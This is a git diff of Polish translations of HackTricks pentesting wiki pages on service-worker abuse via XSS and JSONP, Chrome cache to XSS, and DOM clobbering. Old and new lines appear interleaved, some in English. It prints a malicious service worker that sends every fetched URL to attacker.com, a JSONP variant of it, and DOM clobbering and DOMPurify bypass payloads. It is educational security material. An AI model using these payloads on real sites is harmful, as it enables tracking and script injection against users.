* **Podatne żądanie JSONP**, w którym można **manipulować wynikiem (za pomocą dowolnego kodu JS)** oraz **XSS**, aby **załadować JSONP z ładunkiem**, który **załaduje złośliwego pracownika usługowego**.
|
||||
* Sposób na **przesłanie dowolnych plików JS** na serwer oraz **XSS do załadowania service workera** przesłanego pliku JS
|
||||
* **Podatne żądanie JSONP**, w którym możesz **manipulować wyjściem (z dowolnym kodem JS)** oraz **XSS** do **załadowania JSONP z ładunkiem**, który **załaduje złośliwego service workera**.
|
||||
|
||||
W poniższym przykładzie przedstawię kod do **zarejestrowania nowego pracownika usługowego**, który będzie nasłuchiwał zdarzenia `fetch` i będzie **wysyłał na serwer atakującego każdy pobrany URL** (to jest kod, który musiałbyś **przesłać** na **serwer** lub załadować za pomocą **podatnej odpowiedzi JSONP**):
|
||||
W następującym przykładzie zaprezentuję kod do **rejestracji nowego service workera**, który będzie nasłuchiwał zdarzenia `fetch` i **wyśle do serwera atakującego każdą pobraną URL** (to jest kod, który musisz **przesłać** na **serwer** lub załadować za pomocą **podatnej odpowiedzi JSONP**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
Oto kod, który **zarejestruje pracownika** (kod, który powinieneś móc wykonać, wykorzystując **XSS**). W tym przypadku zostanie wysłane żądanie **GET** do serwera **atakującego**, **informujące**, czy **rejestracja** pracownika usługi zakończyła się sukcesem, czy nie:
|
||||
A oto kod, który **zarejestruje pracownika** (kod, który powinieneś być w stanie wykonać, wykorzystując **XSS**). W tym przypadku **żądanie GET** zostanie wysłane do serwera **atakującego**, **informując**, czy **rejestracja** pracownika serwisowego była udana, czy nie:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -67,21 +70,21 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
W przypadku wykorzystania podatnego punktu końcowego JSONP należy umieścić wartość wewnątrz `var sw`. Na przykład:
|
||||
W przypadku nadużywania podatnego punktu końcowego JSONP, powinieneś umieścić wartość wewnątrz `var sw`. Na przykład:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
Istnieje **C2** dedykowane do **eksploatacji pracowników usługowych** o nazwie [**Shadow Workers**](https://shadow-workers.github.io), które będzie bardzo przydatne do nadużywania tych podatności.
|
||||
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||||
|
||||
Dyrektywa **pamięci podręcznej 24-godzinna** ogranicza żywotność złośliwego lub skompromitowanego **pracownika usługi (SW)** do maksymalnie 24 godzin po naprawie podatności XSS, zakładając status klienta online. Aby zminimalizować podatność, operatorzy witryn mogą obniżyć czas życia skryptu SW (Time-To-Live, TTL). Deweloperom zaleca się również utworzenie [**przełącznika wyłączającego pracownika usługi**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) dla szybkiego dezaktywowania.
|
||||
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
|
||||
|
||||
## Nadużywanie `importScripts` w SW za pomocą DOM Clobbering
|
||||
## Abusing `importScripts` in a SW via DOM Clobbering
|
||||
|
||||
Funkcja **`importScripts`** wywołana z pracownika usługi może **importować skrypt z innej domeny**. Jeśli ta funkcja jest wywoływana z **parametrem, który atakujący mógłby** zmodyfikować, mógłby **importować skrypt JS z jego domeny** i uzyskać XSS.
|
||||
Funkcja **`importScripts`** wywołana z Service Worker może **zaimportować skrypt z innej domeny**. Jeśli ta funkcja jest wywoływana z użyciem **parametru, który mógłby** zmodyfikować atakujący, mógłby **zaimportować skrypt JS z jego domeny** i uzyskać XSS.
|
||||
|
||||
**To nawet omija zabezpieczenia CSP.**
|
||||
|
||||
**Przykładowy podatny kod:**
|
||||
**Example vulnerable code:**
|
||||
|
||||
* **index.html**
|
||||
```html
|
||||
|
@ -97,7 +100,7 @@ let host = searchParams.get('host');
|
|||
self.importScripts(host + "/sw_extra.js");
|
||||
//host can be controllable by an attacker
|
||||
```
|
||||
### Za pomocą DOM Clobbering
|
||||
### Z DOM Clobbering
|
||||
|
||||
Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawdź:
|
||||
|
||||
|
@ -105,7 +108,7 @@ Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawd
|
|||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Jeśli adres URL/domena, z której SW korzysta do wywołania **`importScripts`**, znajduje się **wewnątrz elementu HTML**, można go **zmodyfikować za pomocą DOM Clobbering**, aby sprawić, że SW **załaduje skrypt z własnej domeny**.
|
||||
Jeśli URL/domena, z której SW korzysta, aby wywołać **`importScripts`**, znajduje się **wewnątrz elementu HTML**, **możliwe jest modyfikowanie go za pomocą DOM Clobbering**, aby SW **załadował skrypt z twojej własnej domeny**.
|
||||
|
||||
Aby zobaczyć przykład, sprawdź link referencyjny.
|
||||
|
||||
|
@ -119,14 +122,17 @@ Aby zobaczyć przykład, sprawdź link referencyjny.
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,56 @@
|
|||
# Chrome Cache do XSS
|
||||
# Chrome Cache to XSS
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Więcej szczegółów [**w tym opracowaniu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
|
||||
Omawiana tutaj technika polega na zrozumieniu zachowania i interakcji dwóch podstawowych typów pamięci podręcznej: **pamięci podręcznej wstecz/przód (bfcache)** i **pamięci podręcznej dysku**. Pamięć podręczna bfcache, która przechowuje kompletny zrzut strony, włącznie z stosem JavaScript, ma pierwszeństwo przed pamięcią podręczną dysku podczas nawigacji wstecz/przód ze względu na możliwość przechowywania bardziej kompleksowego zrzutu. Pamięć podręczna dysku natomiast przechowuje zasoby pobrane z sieci bez uwzględniania stosu JavaScript i jest wykorzystywana podczas nawigacji wstecz/przód w celu zmniejszenia kosztów komunikacji. Ciekawym aspektem pamięci podręcznej dysku jest uwzględnienie zasobów pobranych za pomocą `fetch`, co oznacza, że przeglądarka renderuje zasoby URL dostępne w pamięci podręcznej.
|
||||
Technika omówiona tutaj polega na zrozumieniu zachowania i interakcji dwóch głównych typów pamięci podręcznej: **back/forward cache (bfcache)** i **disk cache**. Bfcache, który przechowuje pełny zrzut strony, w tym stertę JavaScript, ma pierwszeństwo przed pamięcią podręczną dysku w nawigacji wstecz/naprzód z powodu swojej zdolności do przechowywania bardziej kompleksowego zrzutu. Pamięć podręczna dysku, w przeciwieństwie do tego, przechowuje zasoby pobrane z sieci bez uwzględnienia sterty JavaScript i jest wykorzystywana do nawigacji wstecz/naprzód w celu zmniejszenia kosztów komunikacji. Interesującym aspektem pamięci podręcznej dysku jest jej uwzględnienie zasobów pobranych za pomocą `fetch`, co oznacza, że zasoby URL będą renderowane przez przeglądarkę z pamięci podręcznej.
|
||||
|
||||
### Kluczowe punkty:
|
||||
|
||||
- Pamięć podręczna bfcache ma pierwszeństwo przed pamięcią podręczną dysku podczas nawigacji wstecz/przód.
|
||||
- Aby skorzystać z strony przechowywanej w pamięci podręcznej dysku zamiast bfcache, należy wyłączyć ten ostatni.
|
||||
- **bfcache** ma pierwszeństwo przed pamięcią podręczną dysku w nawigacji wstecz/naprzód.
|
||||
- Aby wykorzystać stronę przechowywaną w pamięci podręcznej dysku zamiast bfcache, to ostatnie musi być wyłączone.
|
||||
|
||||
Wyłączanie pamięci podręcznej bfcache:
|
||||
### Wyłączanie bfcache:
|
||||
|
||||
Domyślnie Puppeteer wyłącza pamięć podręczną bfcache, zgodnie z warunkami wymienionymi w dokumentacji Chromium. Skuteczną metodą wyłączenia pamięci podręcznej bfcache jest użycie `RelatedActiveContentsExist`, osiągnięte poprzez otwarcie strony za pomocą `window.open()`, która zachowuje odwołanie do `window.opener`.
|
||||
Domyślnie Puppeteer wyłącza bfcache, zgodnie z warunkami wymienionymi w dokumentacji Chromium. Jedną z efektywnych metod wyłączenia bfcache jest użycie `RelatedActiveContentsExist`, osiągnięte przez otwarcie strony za pomocą `window.open()`, która zachowuje odniesienie do `window.opener`.
|
||||
|
||||
Reprodukcja zachowania:
|
||||
### Reprodukcja zachowania:
|
||||
|
||||
1. Odwiedź stronę internetową, np. `https://example.com`.
|
||||
2. Wykonaj polecenie `open("http://spanote.seccon.games:3000/api/token")`, co skutkuje odpowiedzią serwera z kodem stanu 500.
|
||||
3. W nowo otwartej karcie przejdź do `http://spanote.seccon.games:3000/`. Ta czynność spowoduje zapisanie odpowiedzi z `http://spanote.seccon.games:3000/api/token` w pamięci podręcznej dysku.
|
||||
4. Użyj `history.back()`, aby przejść do poprzedniej strony. Spowoduje to wyrenderowanie zapisanej odpowiedzi JSON na stronie.
|
||||
2. Wykonaj `open("http://spanote.seccon.games:3000/api/token")`, co skutkuje odpowiedzią serwera z kodem statusu 500.
|
||||
3. W nowo otwartej karcie przejdź do `http://spanote.seccon.games:3000/`. Ta akcja buforuje odpowiedź `http://spanote.seccon.games:3000/api/token` jako pamięć podręczną dysku.
|
||||
4. Użyj `history.back()`, aby wrócić. Akcja ta skutkuje renderowaniem buforowanej odpowiedzi JSON na stronie.
|
||||
|
||||
Potwierdzenie wykorzystania pamięci podręcznej dysku można sprawdzić za pomocą narzędzi DevTools w Google Chrome.
|
||||
Weryfikację, że pamięć podręczna dysku została wykorzystana, można potwierdzić za pomocą DevTools w Google Chrome.
|
||||
|
||||
Aby uzyskać dalsze szczegóły na temat pamięci podręcznej bfcache i dysku, można odnaleźć odnośniki na stronach [web.dev na temat bfcache](https://web.dev/i18n/en/bfcache/) i [dokumentacji Chromium na temat pamięci podręcznej dysku](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/).
|
||||
Aby uzyskać więcej informacji na temat bfcache i pamięci podręcznej dysku, odniesienia można znaleźć na [web.dev o bfcache](https://web.dev/i18n/en/bfcache/) oraz [dokumentach projektowych Chromium na temat pamięci podręcznej dysku](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), odpowiednio.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,39 @@
|
|||
# Dom Clobbering
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Podstawy**
|
||||
|
||||
Możliwe jest generowanie **globalnych zmiennych w kontekście JS** za pomocą atrybutów **`id`** i **`name`** w tagach HTML.
|
||||
Możliwe jest generowanie **zmiennych globalnych w kontekście JS** za pomocą atrybutów **`id`** i **`name`** w tagach HTML.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||
```
|
||||
**Tylko** określone elementy mogą używać atrybutu **name** do nadpisania globalnych zmiennych, są to: `embed`, `form`, `iframe`, `image`, `img` i `object`.
|
||||
**Tylko** niektóre elementy mogą używać atrybutu **name**, aby zniszczyć globalne zmienne, są to: `embed`, `form`, `iframe`, `image`, `img` i `object`.
|
||||
|
||||
Co ciekawe, gdy używasz elementu **formularza** do **nadpisania** zmiennej, otrzymasz wartość **`toString`** tego elementu: `[object HTMLFormElement]`, ale z **anchor** wartość **`toString`** będzie wartością atrybutu **`href`**. Dlatego, jeśli nadpisujesz za pomocą znacznika **`a`**, możesz **kontrolować** wartość, gdy jest **traktowana jako ciąg znaków**:
|
||||
Interesująco, gdy używasz elementu **form** do **zniszczenia** zmiennej, otrzymasz wartość **`toString`** samego elementu: `[object HTMLFormElement]`, ale w przypadku **anchor** wartość **`toString`** będzie **`href`** anchor. Dlatego, jeśli zniszczysz używając tagu **`a`**, możesz **kontrolować** **wartość**, gdy jest **traktowana jako ciąg**:
|
||||
```html
|
||||
<a href="controlled string" id=x></a>
|
||||
<script>
|
||||
console.log(x);//controlled string
|
||||
</script>
|
||||
```
|
||||
### Tablice i atrybuty
|
||||
### Arrays & Attributes
|
||||
|
||||
Możliwe jest również **nadpisanie tablicy** i **atrybutów obiektu**:
|
||||
Możliwe jest również **przeładowanie tablicy** oraz **atrybutów obiektów**:
|
||||
```html
|
||||
<a id=x>
|
||||
<a id=x name=y href=controlled>
|
||||
|
@ -39,7 +42,7 @@ console.log(x[1])//controlled
|
|||
console.log(x.y)//controlled
|
||||
</script>
|
||||
```
|
||||
Aby nadpisać **trzeci atrybut** (np. x.y.z), musisz użyć **`formularza`**:
|
||||
Aby zniszczyć **3. atrybut** (np. x.y.z), musisz użyć **`form`**:
|
||||
```html
|
||||
<form id=x name=y><input id=z value=controlled></form>
|
||||
<form id=x></form>
|
||||
|
@ -47,17 +50,17 @@ Aby nadpisać **trzeci atrybut** (np. x.y.z), musisz użyć **`formularza`**:
|
|||
alert(x.y.z.value)//controlled
|
||||
</script>
|
||||
```
|
||||
Nadpisywanie większej liczby atrybutów jest **bardziej skomplikowane, ale wciąż możliwe**, przy użyciu ramek (iframes):
|
||||
Clobbering więcej atrybutów jest **bardziej skomplikowane, ale nadal możliwe**, używając iframe:
|
||||
```html
|
||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tag style jest używany, aby **dać wystarczająco dużo czasu na renderowanie iframe**. Bez niego otrzymasz alert o **undefined**.
|
||||
Tag stylu jest używany do **dania wystarczająco dużo czasu na renderowanie iframe**. Bez niego napotkasz alert o **niezdefiniowanym**.
|
||||
{% endhint %}
|
||||
|
||||
Aby nadpisać głębsze atrybuty, możesz użyć **iframe'ów z kodowaniem HTML** w ten sposób:
|
||||
Aby zniszczyć głębsze atrybuty, możesz użyć **iframe'ów z kodowaniem html** w ten sposób:
|
||||
```html
|
||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
|
@ -65,9 +68,9 @@ Aby nadpisać głębsze atrybuty, możesz użyć **iframe'ów z kodowaniem HTML*
|
|||
alert(a.b.c.d.e)//controlled
|
||||
</script>
|
||||
```
|
||||
### **Ominięcie filtrów**
|
||||
### **Omijanie filtrów**
|
||||
|
||||
Jeśli filtr **pętli** przez **właściwości** węzła, używając czegoś takiego jak `document.getElementByID('x').attributes`, możesz **nadpisać** atrybut **`.attributes`** i **złamać filtr**. Inne właściwości DOM, takie jak **`tagName`**, **`nodeName`** lub **`parentNode`**, również są **nadpisywalne**.
|
||||
Jeśli filtr **przechodzi** przez **właściwości** węzła używając czegoś takiego jak `document.getElementByID('x').attributes`, możesz **zastąpić** atrybut **`.attributes`** i **złamać filtr**. Inne właściwości DOM, takie jak **`tagName`**, **`nodeName`** lub **`parentNode`** i inne, są również **zastępowalne**.
|
||||
```html
|
||||
<form id=x></form>
|
||||
<form id=y>
|
||||
|
@ -78,13 +81,13 @@ console.log(document.getElementById('x').nodeName)//FORM
|
|||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||
</script>
|
||||
```
|
||||
## **Nadpisywanie `window.someObject`**
|
||||
## **Clobbering `window.someObject`**
|
||||
|
||||
W języku JavaScript często można znaleźć:
|
||||
W JavaScript powszechnie można znaleźć:
|
||||
```javascript
|
||||
var someObject = window.someObject || {};
|
||||
```
|
||||
Manipulowanie HTML na stronie umożliwia nadpisanie `someObject` za pomocą węzła DOM, co potencjalnie wprowadza podatności na bezpieczeństwo. Na przykład, można zastąpić `someObject` elementem kotwicy wskazującym na złośliwy skrypt:
|
||||
Manipulowanie HTML na stronie pozwala na nadpisanie `someObject` węzłem DOM, co potencjalnie wprowadza luki w zabezpieczeniach. Na przykład, możesz zastąpić `someObject` elementem kotwicy wskazującym na złośliwy skrypt:
|
||||
```html
|
||||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||
```
|
||||
|
@ -101,25 +104,25 @@ document.body.appendChild(script);
|
|||
```
|
||||
Ta metoda wykorzystuje źródło skryptu do wykonania niechcianego kodu.
|
||||
|
||||
**Sztuczka**: **`DOMPurify`** pozwala na użycie protokołu **`cid:`**, który **nie koduje podwójne cudzysłowy w adresie URL**. Oznacza to, że można **wstrzyknąć zakodowany podwójny cudzysłów, który zostanie zdekodowany w czasie wykonania**. Dlatego wstrzyknięcie czegoś takiego jak **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** spowoduje, że zakodowany HTML `"` zostanie **zdekodowany w czasie wykonania** i **wydostanie się** z wartości atrybutu, aby **utworzyć** zdarzenie **`onerror`**.
|
||||
**Sztuczka**: **`DOMPurify`** pozwala na użycie protokołu **`cid:`**, który **nie koduje URL podwójnych cudzysłowów**. Oznacza to, że możesz **wstrzyknąć zakodowany podwójny cudzysłów, który zostanie zdekodowany w czasie wykonywania**. Dlatego wstrzyknięcie czegoś takiego jak **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** spowoduje, że HTML zakodowany `"` zostanie **zdekodowany w czasie wykonywania** i **ucieknie** z wartości atrybutu, aby **utworzyć** zdarzenie **`onerror`**.
|
||||
|
||||
Inna technika wykorzystuje element **`form`**. Niektóre biblioteki po stronie klienta sprawdzają atrybuty nowo utworzonego elementu formularza w celu ich oczyszczenia. Jednak dodanie `input` z `id=attributes` wewnątrz formularza skutecznie nadpisuje właściwość atrybutów, uniemożliwiając dostęp do rzeczywistych atrybutów przez oczyszczacz.
|
||||
Inna technika wykorzystuje element **`form`**. Niektóre biblioteki po stronie klienta sprawdzają atrybuty nowo utworzonego elementu formularza, aby je oczyścić. Jednak dodając `input` z `id=attributes` wewnątrz formularza, skutecznie nadpisujesz właściwość atrybutów, uniemożliwiając sanitariuszowi dostęp do rzeczywistych atrybutów.
|
||||
|
||||
Możesz [**znaleźć przykład tego rodzaju nadpisywania w tym opisie CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
Możesz [**znaleźć przykład tego typu klobberingu w tym opisie CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
|
||||
## Nadpisywanie obiektu dokumentu
|
||||
## Klobbering obiektu dokumentu
|
||||
|
||||
Zgodnie z dokumentacją możliwe jest nadpisanie atrybutów obiektu dokumentu za pomocą DOM Clobbering:
|
||||
|
||||
> Interfejs [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [obsługuje nazwane właściwości](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Obsługiwane nazwy właściwości obiektu [Document](https://html.spec.whatwg.org/multipage/dom.html#document) w dowolnym momencie składają się z następujących, w [kolejności drzewa](https://dom.spec.whatwg.org/#concept-tree-order) zgodnie z elementem, który je dostarczył, ignorując późniejsze duplikaty, a wartości z atrybutów [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pochodzą przed wartościami z atrybutów name, gdy ten sam element dostarcza oba:
|
||||
> Interfejs [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [obsługuje właściwości nazwane](https://webidl.spec.whatwg.org/#dfn-support-named-properties). [Obsługiwane nazwy właściwości](https://webidl.spec.whatwg.org/#dfn-supported-property-names) obiektu [Document](https://html.spec.whatwg.org/multipage/dom.html#document) w dowolnym momencie składają się z następujących, w [kolejności drzewa](https://dom.spec.whatwg.org/#concept-tree-order) zgodnie z elementem, który je wprowadził, ignorując późniejsze duplikaty, a wartości z atrybutów [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pojawiają się przed wartościami z atrybutów name, gdy ten sam element wnosi oba:
|
||||
>
|
||||
